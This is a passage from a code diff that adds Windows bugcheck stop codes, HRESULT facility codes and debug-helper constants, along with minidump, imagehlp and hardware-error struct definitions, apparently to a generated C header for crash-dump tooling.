WORKER_THREAD_TEST_CONDITION 0x163 +#define WIN32K_CRITICAL_FAILURE 0x164 +#define CLUSTER_CSV_STATUS_IO_TIMEOUT_LIVEDUMP 0x165 +#define CLUSTER_RESOURCE_CALL_TIMEOUT_LIVEDUMP 0x166 +#define CLUSTER_CSV_SNAPSHOT_DEVICE_INFO_TIMEOUT_LIVEDUMP 0x167 +#define CLUSTER_CSV_STATE_TRANSITION_TIMEOUT_LIVEDUMP 0x168 +#define CLUSTER_CSV_VOLUME_ARRIVAL_LIVEDUMP 0x169 +#define CLUSTER_CSV_VOLUME_REMOVAL_LIVEDUMP 0x16a +#define CLUSTER_CSV_CLUSTER_WATCHDOG_LIVEDUMP 0x16b +#define INVALID_RUNDOWN_PROTECTION_FLAGS 0x16c +#define INVALID_SLOT_ALLOCATOR_FLAGS 0x16d +#define ERESOURCE_INVALID_RELEASE 0x16e +#define CLUSTER_CSV_STATE_TRANSITION_INTERVAL_TIMEOUT_LIVEDUMP 0x16f +#define CLUSTER_CSV_CLUSSVC_DISCONNECT_WATCHDOG 0x170 +#define CRYPTO_LIBRARY_INTERNAL_ERROR 0x171 +#define SECURE_KERNEL_HIBERNATE_ERROR 0x172 +#define COREMSGCALL_INTERNAL_ERROR 0x173 +#define COREMSG_INTERNAL_ERROR 0x174 +#define PREVIOUS_FATAL_ABNORMAL_RESET_ERROR 0x175 +#define STORAGE_STACK_FATAL_ERROR 0x176 +#define ELAM_DRIVER_DETECTED_FATAL_ERROR 0x178 +#define CLUSTER_CLUSPORT_STATUS_IO_TIMEOUT_LIVEDUMP 0x179 +#define PROFILER_CONFIGURATION_ILLEGAL 0x17b +#define PDC_LOCK_WATCHDOG_LIVEDUMP 0x17c +#define PDC_UNEXPECTED_REVOCATION_LIVEDUMP 0x17d +#define MICROCODE_REVISION_MISMATCH 0x17e +#define HYPERGUARD_INITIALIZATION_FAILURE 0x17f +#define WVR_LIVEDUMP_REPLICATION_IOCONTEXT_TIMEOUT 0x180 +#define WVR_LIVEDUMP_STATE_TRANSITION_TIMEOUT 0x181 +#define WVR_LIVEDUMP_RECOVERY_IOCONTEXT_TIMEOUT 0x182 +#define WVR_LIVEDUMP_APP_IO_TIMEOUT 0x183 +#define WVR_LIVEDUMP_MANUALLY_INITIATED 0x184 +#define WVR_LIVEDUMP_STATE_FAILURE 0x185 +#define WVR_LIVEDUMP_CRITICAL_ERROR 0x186 +#define VIDEO_DWMINIT_TIMEOUT_FALLBACK_BDD 0x187 +#define CLUSTER_CSVFS_LIVEDUMP 0x188 +#define BAD_OBJECT_HEADER 0x189 +#define SILO_CORRUPT 0x18a +#define SECURE_KERNEL_ERROR 0x18b +#define HYPERGUARD_VIOLATION 0x18c +#define SECURE_FAULT_UNHANDLED 0x18d +#define KERNEL_PARTITION_REFERENCE_VIOLATION 0x18e +#define SYNTHETIC_EXCEPTION_UNHANDLED 0x18f +#define WIN32K_CRITICAL_FAILURE_LIVEDUMP 0x190 +#define PF_DETECTED_CORRUPTION 0x191 +#define KERNEL_AUTO_BOOST_LOCK_ACQUISITION_WITH_RAISED_IRQL 0x192 +#define VIDEO_DXGKRNL_LIVEDUMP 0x193 +#define KERNEL_STORAGE_SLOT_IN_USE 0x199 +#define SMB_SERVER_LIVEDUMP 0x195 +#define LOADER_ROLLBACK_DETECTED 0x196 +#define WIN32K_SECURITY_FAILURE 0x197 +#define UFX_LIVEDUMP 0x198 +#define WORKER_THREAD_RETURNED_WHILE_ATTACHED_TO_SILO 0x19a +#define TTM_FATAL_ERROR 0x19b +#define WIN32K_POWER_WATCHDOG_TIMEOUT 0x19c +#define CLUSTER_SVHDX_LIVEDUMP 0x19d +#define BUGCODE_NETADAPTER_DRIVER 0x19e +#define PDC_PRIVILEGE_CHECK_LIVEDUMP 0x19f +#define TTM_WATCHDOG_TIMEOUT 0x1a0 +#define WIN32K_CALLOUT_WATCHDOG_LIVEDUMP 0x1a1 +#define WIN32K_CALLOUT_WATCHDOG_BUGCHECK 0x1a2 +#define CALL_HAS_NOT_RETURNED_WATCHDOG_TIMEOUT_LIVEDUMP 0x1a3 +#define DRIPS_SW_HW_DIVERGENCE_LIVEDUMP 0x1a4 +#define USB_DRIPS_BLOCKER_SURPRISE_REMOVAL_LIVEDUMP 0x1a5 +#define BLUETOOTH_ERROR_RECOVERY_LIVEDUMP 0x1a6 +#define SMB_REDIRECTOR_LIVEDUMP 0x1a7 +#define VIDEO_DXGKRNL_BLACK_SCREEN_LIVEDUMP 0x1a8 +#define DIRECTED_FX_TRANSITION_LIVEDUMP 0x1a9 +#define EXCEPTION_ON_INVALID_STACK 0x1aa +#define UNWIND_ON_INVALID_STACK 0x1ab +#define VIDEO_MINIPORT_FAILED_LIVEDUMP 0x1b0 +#define VIDEO_MINIPORT_BLACK_SCREEN_LIVEDUMP 0x1b8 +#define DRIVER_VERIFIER_DETECTED_VIOLATION_LIVEDUMP 0x1c4 +#define IO_THREADPOOL_DEADLOCK_LIVEDUMP 0x1c5 +#define FAST_ERESOURCE_PRECONDITION_VIOLATION 0x1c6 +#define STORE_DATA_STRUCTURE_CORRUPTION 0x1c7 +#define MANUALLY_INITIATED_POWER_BUTTON_HOLD 0x1c8 +#define USER_MODE_HEALTH_MONITOR_LIVEDUMP 0x1c9 +#define SYNTHETIC_WATCHDOG_TIMEOUT 0x1ca +#define INVALID_SILO_DETACH 0x1cb +#define EXRESOURCE_TIMEOUT_LIVEDUMP 0x1cc +#define INVALID_CALLBACK_STACK_ADDRESS 0x1cd +#define INVALID_KERNEL_STACK_ADDRESS 0x1ce +#define HARDWARE_WATCHDOG_TIMEOUT 0x1cf +#define ACPI_FIRMWARE_WATCHDOG_TIMEOUT 0x1d0 +#define TELEMETRY_ASSERTS_LIVEDUMP 0x1d1 +#define WORKER_THREAD_INVALID_STATE 0x1d2 +#define WFP_INVALID_OPERATION 0x1d3 +#define UCMUCSI_LIVEDUMP 0x1d4 +#define DRIVER_PNP_WATCHDOG 0x1d5 +#define WORKER_THREAD_RETURNED_WITH_NON_DEFAULT_WORKLOAD_CLASS 0x1d6 +#define EFS_FATAL_ERROR 0x1d7 +#define UCMUCSI_FAILURE 0x1d8 +#define HAL_IOMMU_INTERNAL_ERROR 0x1d9 +#define HAL_BLOCKED_PROCESSOR_INTERNAL_ERROR 0x1da +#define IPI_WATCHDOG_TIMEOUT 0x1db +#define DMA_COMMON_BUFFER_VECTOR_ERROR 0x1dc +#define BUGCODE_MBBADAPTER_DRIVER 0x1dd +#define BUGCODE_WIFIADAPTER_DRIVER 0x1de +#define PROCESSOR_START_TIMEOUT 0x1df +#define INVALID_ALTERNATE_SYSTEM_CALL_HANDLER_REGISTRATION 0x1e0 +#define DEVICE_DIAGNOSTIC_LOG_LIVEDUMP 0x1e1 +#define AZURE_DEVICE_FW_DUMP 0x1e2 +#define BREAKAWAY_CABLE_TRANSITION 0x1e3 +#define VIDEO_DXGKRNL_SYSMM_FATAL_ERROR 0x1e4 +#define DRIVER_VERIFIER_TRACKING_LIVE_DUMP 0x1e5 +#define CRASHDUMP_WATCHDOG_TIMEOUT 0x1e6 +#define REGISTRY_LIVE_DUMP 0x1e7 +#define INVALID_THREAD_AFFINITY_STATE 0x1e8 +#define ILLEGAL_ATS_INITIALIZATION 0x1e9 +#define SECURE_PCI_CONFIG_SPACE_ACCESS_VIOLATION 0x1ea +#define DAM_WATCHDOG_TIMEOUT 0x1eb +#define HANDLE_LIVE_DUMP 0x1ec +#define HANDLE_ERROR_ON_CRITICAL_THREAD 0x1ed +#define MPSDRV_QUERY_USER 0x400001ee +#define VMBUS_LIVEDUMP 0x400001ef +#define USB4_HARDWARE_VIOLATION 0x1f0 +#define KASAN_ENLIGHTENMENT_VIOLATION 0x1f1 +#define KASAN_ILLEGAL_ACCESS 0x1f2 +#define IORING 0x1f3 +#define MDL_CACHE 0x1f4 +#define APPLICATION_HANG_KERNEL_LIVEDUMP 0x1f5 +#define MISALIGNED_POINTER_PARAMETER 0x1f6 +#define MSSECCORE_ASSERTION_FAILURE 0x1f7 +#define INVALID_MINIMAL_PROCESS_STATE 0x1f8 +#define PREVIOUS_MODE_MISMATCH 0x1f9 +#define SMB_SRV_REQUEST_VALIDATION_FAILURE 0x1fa +#define IOMMU_INTERRUPT_REMAPPING_FAULT 0x1fb +#define WIN32K_CALLOUT_UNREGISTER_FAILED 0x1fc +#define HAL_SPE_INTERNAL_ERROR 0x1fd +#define SMB_CLIENT_REQUEST_VALIDATION_FAILURE 0x1fe +#define CPU_SCHEDULER_INTERNAL_ERROR 0x200 +#define PROCESS_TERMINATE_LIKELY_DEADLOCK 0x201 +#define UNEXPECTED_CODEPATH 0x202 +#define INVALID_EXTENSION_STATE 0x203 +#define STORAGE_DRIVER_LIVEDUMP 0x207 +#define XBOX_VMCTRL_CS_TIMEOUT 0x356 +#define XBOX_CORRUPTED_IMAGE 0x357 +#define XBOX_INVERTED_FUNCTION_TABLE_OVERFLOW 0x358 +#define XBOX_CORRUPTED_IMAGE_BASE 0x359 +#define XBOX_XDS_WATCHDOG_TIMEOUT 0x35a +#define XBOX_SHUTDOWN_WATCHDOG_TIMEOUT 0x35b +#define XBOX_CANNOT_MANAGE_PARTITION_MEMORY 0x35d +#define XBOX_360_SYSTEM_CRASH 0x360 +#define XBOX_360_SYSTEM_CRASH_RESERVED 0x420 +#define XBOX_SECURITY_FAILUE 0x421 +#define KERNEL_CFG_INIT_FAILURE 0x422 +#define MANUALLY_INITIATED_POWER_BUTTON_HOLD_LIVE_DUMP 0x11c8 +#define HYPERVISOR_ERROR 0x20001 +#define XBOX_MANUALLY_INITIATED_CRASH 0x30006 +#define MANUALLY_INITIATED_BLACKSCREEN_HOTKEY_LIVE_DUMP 0x21c8 +#define WINLOGON_FATAL_ERROR 0xc000021a +#define MANUALLY_INITIATED_CRASH1 0xdeaddead +#define BUGCHECK_CONTEXT_MODIFIER 0x80000000 +#define FACILITY_NULL 0x0 +#define FACILITY_RPC 0x1 +#define FACILITY_DISPATCH 0x2 +#define FACILITY_STORAGE 0x3 +#define FACILITY_ITF 0x4 +#define FACILITY_WIN32 0x7 +#define FACILITY_WINDOWS 0x8 +#define FACILITY_SSPI 0x9 +#define FACILITY_SECURITY 0x9 +#define FACILITY_CONTROL 0xa +#define FACILITY_CERT 0xb +#define FACILITY_INTERNET 0xc +#define FACILITY_MEDIASERVER 0xd +#define FACILITY_MSMQ 0xe +#define FACILITY_SETUPAPI 0xf +#define FACILITY_SCARD 0x10 +#define FACILITY_COMPLUS 0x11 +#define FACILITY_AAF 0x12 +#define FACILITY_URT 0x13 +#define FACILITY_ACS 0x14 +#define FACILITY_DPLAY 0x15 +#define FACILITY_UMI 0x16 +#define FACILITY_SXS 0x17 +#define FACILITY_WINDOWS_CE 0x18 +#define FACILITY_HTTP 0x19 +#define FACILITY_USERMODE_COMMONLOG 0x1a +#define FACILITY_WER 0x1b +#define FACILITY_USERMODE_FILTER_MANAGER 0x1f +#define FACILITY_BACKGROUNDCOPY 0x20 +#define FACILITY_CONFIGURATION 0x21 +#define FACILITY_WIA 0x21 +#define FACILITY_STATE_MANAGEMENT 0x22 +#define FACILITY_METADIRECTORY 0x23 +#define FACILITY_WINDOWSUPDATE 0x24 +#define FACILITY_DIRECTORYSERVICE 0x25 +#define FACILITY_GRAPHICS 0x26 +#define FACILITY_SHELL 0x27 +#define FACILITY_NAP 0x27 +#define FACILITY_TPM_SERVICES 0x28 +#define FACILITY_TPM_SOFTWARE 0x29 +#define FACILITY_UI 0x2a +#define FACILITY_XAML 0x2b +#define FACILITY_ACTION_QUEUE 0x2c +#define FACILITY_PLA 0x30 +#define FACILITY_WINDOWS_SETUP 0x30 +#define FACILITY_FVE 0x31 +#define FACILITY_FWP 0x32 +#define FACILITY_WINRM 0x33 +#define FACILITY_NDIS 0x34 +#define FACILITY_USERMODE_HYPERVISOR 0x35 +#define FACILITY_CMI 0x36 +#define FACILITY_USERMODE_VIRTUALIZATION 0x37 +#define FACILITY_USERMODE_VOLMGR 0x38 +#define FACILITY_BCD 0x39 +#define FACILITY_USERMODE_VHD 0x3a +#define FACILITY_USERMODE_HNS 0x3b +#define FACILITY_SDIAG 0x3c +#define FACILITY_WEBSERVICES 0x3d +#define FACILITY_WINPE 0x3d +#define FACILITY_WPN 0x3e +#define FACILITY_WINDOWS_STORE 0x3f +#define FACILITY_INPUT 0x40 +#define FACILITY_QUIC 0x41 +#define FACILITY_EAP 0x42 +#define FACILITY_IORING 0x46 +#define FACILITY_WINDOWS_DEFENDER 0x50 +#define FACILITY_OPC 0x51 +#define FACILITY_XPS 0x52 +#define FACILITY_MBN 0x54 +#define FACILITY_POWERSHELL 0x54 +#define FACILITY_RAS 0x53 +#define FACILITY_P2P_INT 0x62 +#define FACILITY_P2P 0x63 +#define FACILITY_DAF 0x64 +#define FACILITY_BLUETOOTH_ATT 0x65 +#define FACILITY_AUDIO 0x66 +#define FACILITY_STATEREPOSITORY 0x67 +#define FACILITY_VISUALCPP 0x6d +#define FACILITY_SCRIPT 0x70 +#define FACILITY_PARSE 0x71 +#define FACILITY_BLB 0x78 +#define FACILITY_BLB_CLI 0x79 +#define FACILITY_WSBAPP 0x7a +#define FACILITY_BLBUI 0x80 +#define FACILITY_USN 0x81 +#define FACILITY_USERMODE_VOLSNAP 0x82 +#define FACILITY_TIERING 0x83 +#define FACILITY_WSB_ONLINE 0x85 +#define FACILITY_ONLINE_ID 0x86 +#define FACILITY_DEVICE_UPDATE_AGENT 0x87 +#define FACILITY_DRVSERVICING 0x88 +#define FACILITY_DLS 0x99 +#define FACILITY_DELIVERY_OPTIMIZATION 0xd0 +#define FACILITY_USERMODE_SPACES 0xe7 +#define FACILITY_USER_MODE_SECURITY_CORE 0xe8 +#define FACILITY_USERMODE_LICENSING 0xea +#define FACILITY_SOS 0xa0 +#define FACILITY_OCP_UPDATE_AGENT 0xad +#define FACILITY_DEBUGGERS 0xb0 +#define FACILITY_SPP 0x100 +#define FACILITY_RESTORE 0x100 +#define FACILITY_DMSERVER 0x100 +#define FACILITY_DEPLOYMENT_SERVICES_SERVER 0x101 +#define FACILITY_DEPLOYMENT_SERVICES_IMAGING 0x102 +#define FACILITY_DEPLOYMENT_SERVICES_MANAGEMENT 0x103 +#define FACILITY_DEPLOYMENT_SERVICES_UTIL 0x104 +#define FACILITY_DEPLOYMENT_SERVICES_BINLSVC 0x105 +#define FACILITY_DEPLOYMENT_SERVICES_PXE 0x107 +#define FACILITY_DEPLOYMENT_SERVICES_TFTP 0x108 +#define FACILITY_DEPLOYMENT_SERVICES_TRANSPORT_MANAGEMENT 0x110 +#define FACILITY_DEPLOYMENT_SERVICES_DRIVER_PROVISIONING 0x116 +#define FACILITY_DEPLOYMENT_SERVICES_MULTICAST_SERVER 0x121 +#define FACILITY_DEPLOYMENT_SERVICES_MULTICAST_CLIENT 0x122 +#define FACILITY_DEPLOYMENT_SERVICES_CONTENT_PROVIDER 0x125 +#define FACILITY_HSP_SERVICES 0x128 +#define FACILITY_HSP_SOFTWARE 0x129 +#define FACILITY_LINGUISTIC_SERVICES 0x131 +#define FACILITY_AUDIOSTREAMING 0x446 +#define FACILITY_TTD 0x5d2 +#define FACILITY_ACCELERATOR 0x600 +#define FACILITY_WMAAECMA 0x7cc +#define FACILITY_DIRECTMUSIC 0x878 +#define FACILITY_DIRECT3D10 0x879 +#define FACILITY_DXGI 0x87a +#define FACILITY_DXGI_DDI 0x87b +#define FACILITY_DIRECT3D11 0x87c +#define FACILITY_DIRECT3D11_DEBUG 0x87d +#define FACILITY_DIRECT3D12 0x87e +#define FACILITY_DIRECT3D12_DEBUG 0x87f +#define FACILITY_DXCORE 0x880 +#define FACILITY_PRESENTATION 0x881 +#define FACILITY_LEAP 0x888 +#define FACILITY_AUDCLNT 0x889 +#define FACILITY_WINCODEC_DWRITE_DWM 0x898 +#define FACILITY_WINML 0x890 +#define FACILITY_DIRECT2D 0x899 +#define FACILITY_DEFRAG 0x900 +#define FACILITY_USERMODE_SDBUS 0x901 +#define FACILITY_JSCRIPT 0x902 +#define FACILITY_PIDGENX 0xa01 +#define FACILITY_EAS 0x55 +#define FACILITY_WEB 0x375 +#define FACILITY_WEB_SOCKET 0x376 +#define FACILITY_MOBILE 0x701 +#define FACILITY_SQLITE 0x7af +#define FACILITY_SERVICE_FABRIC 0x7b0 +#define FACILITY_UTC 0x7c5 +#define FACILITY_WEP 0x801 +#define FACILITY_SYNCENGINE 0x802 +#define FACILITY_XBOX 0x923 +#define FACILITY_GAME 0x924 +#define FACILITY_USERMODE_UNIONFS 0x925 +#define FACILITY_USERMODE_PRM 0x926 +#define FACILITY_USERMODE_WIN_ACCEL 0x927 +#define FACILITY_PPF 0x928 +#define FACILITY_PIX 0xabc +#define FACILITY_NT_BIT 0x10000000 +#define sevInfo 0x0 +#define sevProblem 0x1 +#define sevAttn 0x2 +#define sevFatal 0x3 +#define IMAGEHLP_GET_TYPE_INFO_CHILDREN 0x2 +#define IMAGEHLP_GET_TYPE_INFO_UNCACHED 0x1 +#define TI_GET_SYMTAG 0 +#define TI_GET_SYMNAME 1 +#define TI_GET_LENGTH 2 +#define TI_GET_TYPE 3 +#define TI_GET_TYPEID 4 +#define TI_GET_BASETYPE 5 +#define TI_GET_ARRAYINDEXTYPEID 6 +#define TI_FINDCHILDREN 7 +#define TI_GET_DATAKIND 8 +#define TI_GET_ADDRESSOFFSET 9 +#define TI_GET_OFFSET 10 +#define TI_GET_VALUE 11 +#define TI_GET_COUNT 12 +#define TI_GET_CHILDRENCOUNT 13 +#define TI_GET_BITPOSITION 14 +#define TI_GET_VIRTUALBASECLASS 15 +#define TI_GET_VIRTUALTABLESHAPEID 16 +#define TI_GET_VIRTUALBASEPOINTEROFFSET 17 +#define TI_GET_CLASSPARENTID 18 +#define TI_GET_NESTED 19 +#define TI_GET_SYMINDEX 20 +#define TI_GET_LEXICALPARENT 21 +#define TI_GET_ADDRESS 22 +#define TI_GET_THISADJUST 23 +#define TI_GET_UDTKIND 24 +#define TI_IS_EQUIV_TO 25 +#define TI_GET_CALLING_CONVENTION 26 +#define TI_IS_CLOSE_EQUIV_TO 27 +#define TI_GTIEX_REQS_VALID 28 +#define TI_GET_VIRTUALBASEOFFSET 29 +#define TI_GET_VIRTUALBASEDISPINDEX 30 +#define TI_GET_IS_REFERENCE 31 +#define TI_GET_INDIRECTVIRTUALBASECLASS 32 +#define TI_GET_VIRTUALBASETABLETYPE 33 +#define TI_GET_OBJECTPOINTERTYPE 34 +#define TI_GET_DISCRIMINATEDUNION_TAG_TYPEID 35 +#define TI_GET_DISCRIMINATEDUNION_TAG_OFFSET 36 +#define TI_GET_DISCRIMINATEDUNION_TAG_RANGESCOUNT 37 +#define TI_GET_DISCRIMINATEDUNION_TAG_RANGES 38 +#define IMAGEHLP_SYMBOL_TYPE_INFO_MAX 39 + +typedef struct _MINIDUMP_MISC_INFO_2 { + unsigned int SizeOfInfo; + unsigned int Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; + unsigned int ProcessorMaxMhz; + unsigned int ProcessorCurrentMhz; + unsigned int ProcessorMhzLimit; + unsigned int ProcessorMaxIdleState; + unsigned int ProcessorCurrentIdleState; +} MINIDUMP_MISC_INFO_2; + +typedef struct _MINIDUMP_FUNCTION_TABLE_STREAM { + unsigned int SizeOfHeader; + unsigned int SizeOfDescriptor; + unsigned int SizeOfNativeDescriptor; + unsigned int SizeOfFunctionEntry; + unsigned int NumberOfDescriptors; + unsigned int SizeOfAlignPad; +} MINIDUMP_FUNCTION_TABLE_STREAM; + +typedef struct _WOW64_LDT_ENTRY { + unsigned short LimitLow; + unsigned short BaseLow; + void* HighWord; +} WOW64_LDT_ENTRY; + +typedef struct _PHYSICAL_MEMORY_DESCRIPTOR32 { + unsigned int NumberOfRuns; + unsigned int NumberOfPages; + void* Run[1]; +} PHYSICAL_MEMORY_DESCRIPTOR32; + +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOADW64 { + unsigned int SizeOfStruct; + unsigned long long BaseOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned short FileName[261]; + BOOL Reparse; + void* hFile; + unsigned int Flags; +} IMAGEHLP_DEFERRED_SYMBOL_LOADW64; + +typedef struct _IMAGEHLP_LINE64 { + unsigned int SizeOfStruct; + void* Key; + unsigned int LineNumber; + void* FileName; + unsigned long long Address; +} IMAGEHLP_LINE64; + +typedef struct _WHEA_GENERIC_ERROR_DESCRIPTOR { + unsigned short Type; + unsigned char Reserved; + unsigned char Enabled; + unsigned int ErrStatusBlockLength; + unsigned int RelatedErrorSourceId; + unsigned char ErrStatusAddressSpaceID; + unsigned char ErrStatusAddressBitWidth; + unsigned char ErrStatusAddressBitOffset; + unsigned char ErrStatusAddressAccessSize; + long long ErrStatusAddress; + void* Notify; +} WHEA_GENERIC_ERROR_DESCRIPTOR; + +typedef struct _XSAVE_AREA { + void* LegacyState; + void* Header; +} XSAVE_AREA; + +typedef struct _MINIDUMP_VM_PRE_READ_CALLBACK { + unsigned long long Offset; + void* Buffer; + unsigned int Size; +} MINIDUMP_VM_PRE_READ_CALLBACK; + +typedef struct _MINIDUMP_MEMORY_DESCRIPTOR64 { + unsigned long long StartOfMemoryRange; + unsigned long long DataSize; +} MINIDUMP_MEMORY_DESCRIPTOR64; + +typedef struct _MINIDUMP_FUNCTION_TABLE_DESCRIPTOR { + unsigned long long MinimumAddress; + unsigned long long MaximumAddress; + unsigned long long BaseAddress; + unsigned int EntryCount; + unsigned int SizeOfAlignPad; +} MINIDUMP_FUNCTION_TABLE_DESCRIPTOR; + +typedef struct _RIP_INFO { + unsigned int dwError; + void* dwType; +} RIP_INFO; + +typedef struct _DIMM_ADDR_VALID_BITS_DDR5 { + unsigned int _bitfield; +} DIMM_ADDR_VALID_BITS_DDR5; + +typedef struct _MINIDUMP_SYSTEM_PERFORMANCE_INFORMATION { + unsigned long long IdleProcessTime; + unsigned long long IoReadTransferCount; + unsigned long long IoWriteTransferCount; + unsigned long long IoOtherTransferCount; + unsigned int IoReadOperationCount; + unsigned int IoWriteOperationCount; + unsigned int IoOtherOperationCount; + unsigned int AvailablePages; + unsigned int CommittedPages; + unsigned int CommitLimit; + unsigned int PeakCommitment; + unsigned int PageFaultCount; + unsigned int CopyOnWriteCount; + unsigned int TransitionCount; + unsigned int CacheTransitionCount; + unsigned int DemandZeroCount; + unsigned int PageReadCount; + unsigned int PageReadIoCount; + unsigned int CacheReadCount; + unsigned int CacheIoCount; + unsigned int DirtyPagesWriteCount; + unsigned int DirtyWriteIoCount; + unsigned int MappedPagesWriteCount; + unsigned int MappedWriteIoCount; + unsigned int PagedPoolPages; + unsigned int NonPagedPoolPages; + unsigned int PagedPoolAllocs; + unsigned int PagedPoolFrees; + unsigned int NonPagedPoolAllocs; + unsigned int NonPagedPoolFrees; + unsigned int FreeSystemPtes; + unsigned int ResidentSystemCodePage; + unsigned int TotalSystemDriverPages; + unsigned int TotalSystemCodePages; + unsigned int NonPagedPoolLookasideHits; + unsigned int PagedPoolLookasideHits; + unsigned int AvailablePagedPoolPages; + unsigned int ResidentSystemCachePage; + unsigned int ResidentPagedPoolPage; + unsigned int ResidentSystemDriverPage; + unsigned int CcFastReadNoWait; + unsigned int CcFastReadWait; + unsigned int CcFastReadResourceMiss; + unsigned int CcFastReadNotPossible; + unsigned int CcFastMdlReadNoWait; + unsigned int CcFastMdlReadWait; + unsigned int CcFastMdlReadResourceMiss; + unsigned int CcFastMdlReadNotPossible; + unsigned int CcMapDataNoWait; + unsigned int CcMapDataWait; + unsigned int CcMapDataNoWaitMiss; + unsigned int CcMapDataWaitMiss; + unsigned int CcPinMappedDataCount; + unsigned int CcPinReadNoWait; + unsigned int CcPinReadWait; + unsigned int CcPinReadNoWaitMiss; + unsigned int CcPinReadWaitMiss; + unsigned int CcCopyReadNoWait; + unsigned int CcCopyReadWait; + unsigned int CcCopyReadNoWaitMiss; + unsigned int CcCopyReadWaitMiss; + unsigned int CcMdlReadNoWait; + unsigned int CcMdlReadWait; + unsigned int CcMdlReadNoWaitMiss; + unsigned int CcMdlReadWaitMiss; + unsigned int CcReadAheadIos; + unsigned int CcLazyWriteIos; + unsigned int CcLazyWritePages; + unsigned int CcDataFlushes; + unsigned int CcDataPages; + unsigned int ContextSwitches; + unsigned int FirstLevelTbFills; + unsigned int SecondLevelTbFills; + unsigned int SystemCalls; + unsigned long long CcTotalDirtyPages; + unsigned long long CcDirtyPageThreshold; + long long ResidentAvailablePages; + unsigned long long SharedCommittedPages; +} MINIDUMP_SYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _ARM64_NT_CONTEXT { + unsigned int ContextFlags; + unsigned int Cpsr; + void* Anonymous; + unsigned long long Sp; + unsigned long long Pc; + void* V[32]; + unsigned int Fpcr; + unsigned int Fpsr; + unsigned int Bcr[8]; + unsigned long long Bvr[8]; + unsigned int Wcr[2]; + unsigned long long Wvr[2]; +} ARM64_NT_CONTEXT; + +typedef struct _MINIDUMP_TOKEN_INFO_LIST { + unsigned int TokenListSize; + unsigned int TokenListEntries; + unsigned int ListHeaderSize; + unsigned int ElementHeaderSize; +} MINIDUMP_TOKEN_INFO_LIST; + +typedef struct _UNWIND_HISTORY_TABLE { + unsigned int Count; + unsigned char LocalHint; + unsigned char GlobalHint; + unsigned char Search; + unsigned char Once; + unsigned long long LowAddress; + unsigned long long HighAddress; + void* Entry[12]; +} UNWIND_HISTORY_TABLE; + +typedef struct _CREATE_PROCESS_DEBUG_INFO { + void* hFile; + void* hProcess; + void* hThread; + void* lpBaseOfImage; + unsigned int dwDebugInfoFileOffset; + unsigned int nDebugInfoSize; + void* lpThreadLocalBase; + void* lpStartAddress; + void* lpImageName; + unsigned short fUnicode; +} CREATE_PROCESS_DEBUG_INFO; + +typedef struct _IMAGEHLP_LINE { + unsigned int SizeOfStruct; + void* Key; + unsigned int LineNumber; + void* FileName; + unsigned int Address; +} IMAGEHLP_LINE; + +typedef struct _SYMBOL_INFO_PACKAGEW { + void* si; + unsigned short name[2001]; +} SYMBOL_INFO_PACKAGEW; + +typedef struct _IMAGEHLP_SYMBOL { + unsigned int SizeOfStruct; + unsigned int Address; + unsigned int Size; + unsigned int Flags; + unsigned int MaxNameLength; + unsigned char Name[1]; +} IMAGEHLP_SYMBOL; + +typedef struct _WHEA_IPF_CMC_DESCRIPTOR { + unsigned short Type; + unsigned char Enabled; + unsigned char Reserved; +} WHEA_IPF_CMC_DESCRIPTOR; + +typedef struct _SYMSRV_EXTENDED_OUTPUT_DATA { + unsigned int sizeOfStruct; + unsigned int version; + unsigned short filePtrMsg[261]; +} SYMSRV_EXTENDED_OUTPUT_DATA; + +typedef struct _MINIDUMP_INCLUDE_MODULE_CALLBACK { + unsigned long long BaseOfImage; +} MINIDUMP_INCLUDE_MODULE_CALLBACK; + +typedef struct _WOW64_FLOATING_SAVE_AREA { + unsigned int ControlWord; + unsigned int StatusWord; + unsigned int TagWord; + unsigned int ErrorOffset; + unsigned int ErrorSelector; + unsigned int DataOffset; + unsigned int DataSelector; + unsigned char RegisterArea[80]; + unsigned int Cr0NpxState; +} WOW64_FLOATING_SAVE_AREA; + +typedef struct _IMAGEHLP_MODULE64 { + unsigned int SizeOfStruct; + unsigned long long BaseOfImage; + unsigned int ImageSize; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int NumSyms; + void* SymType; + unsigned char ModuleName[32]; + unsigned char ImageName[256]; + unsigned char LoadedImageName[256]; + unsigned char LoadedPdbName[256]; + unsigned int CVSig; + unsigned char CVData[780]; + unsigned int PdbSig; + void* PdbSig70; + unsigned int PdbAge; + BOOL PdbUnmatched; + BOOL DbgUnmatched; + BOOL LineNumbers; + BOOL GlobalSymbols; + BOOL TypeInfo; + BOOL SourceIndexed; + BOOL Publics; + unsigned int MachineType; + unsigned int Reserved; +} IMAGEHLP_MODULE64; + +typedef struct _SYMBOL_INFO_PACKAGE { + void* si; + unsigned char name[2001]; +} SYMBOL_INFO_PACKAGE; + +typedef struct _KDHELP { + unsigned int Thread; + unsigned int ThCallbackStack; + unsigned int NextCallback; + unsigned int FramePointer; + unsigned int KiCallUserMode; + unsigned int KeUserCallbackDispatcher; + unsigned int SystemRangeStart; + unsigned int ThCallbackBStore; + unsigned int KiUserExceptionDispatcher; + unsigned int StackBase; + unsigned int StackLimit; + unsigned int Reserved[5]; +} KDHELP; + +typedef struct _IMAGEHLP_MODULEW64 { + unsigned int SizeOfStruct; + unsigned long long BaseOfImage; + unsigned int ImageSize; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int NumSyms; + void* SymType; + unsigned short ModuleName[32]; + unsigned short ImageName[256]; + unsigned short LoadedImageName[256]; + unsigned short LoadedPdbName[256]; + unsigned int CVSig; + unsigned short CVData[780]; + unsigned int PdbSig; + void* PdbSig70; + unsigned int PdbAge; + BOOL PdbUnmatched; + BOOL DbgUnmatched; + BOOL LineNumbers; + BOOL GlobalSymbols; + BOOL TypeInfo; + BOOL SourceIndexed; + BOOL Publics; + unsigned int MachineType; + unsigned int Reserved; +} IMAGEHLP_MODULEW64; + +typedef struct _OMAP { + unsigned int rva; + unsigned int rvaTo; +} OMAP; + +typedef struct _IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY { + unsigned int BeginAddress; + void* Anonymous; +} IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY; + +typedef struct _IMAGEHLP_SYMBOL_SRC { + unsigned int sizeofstruct; + unsigned int type; + unsigned char file[260]; +} IMAGEHLP_SYMBOL_SRC; + +typedef struct _WHEA_XPF_MCE_DESCRIPTOR { + unsigned short Type; + unsigned char Enabled; + 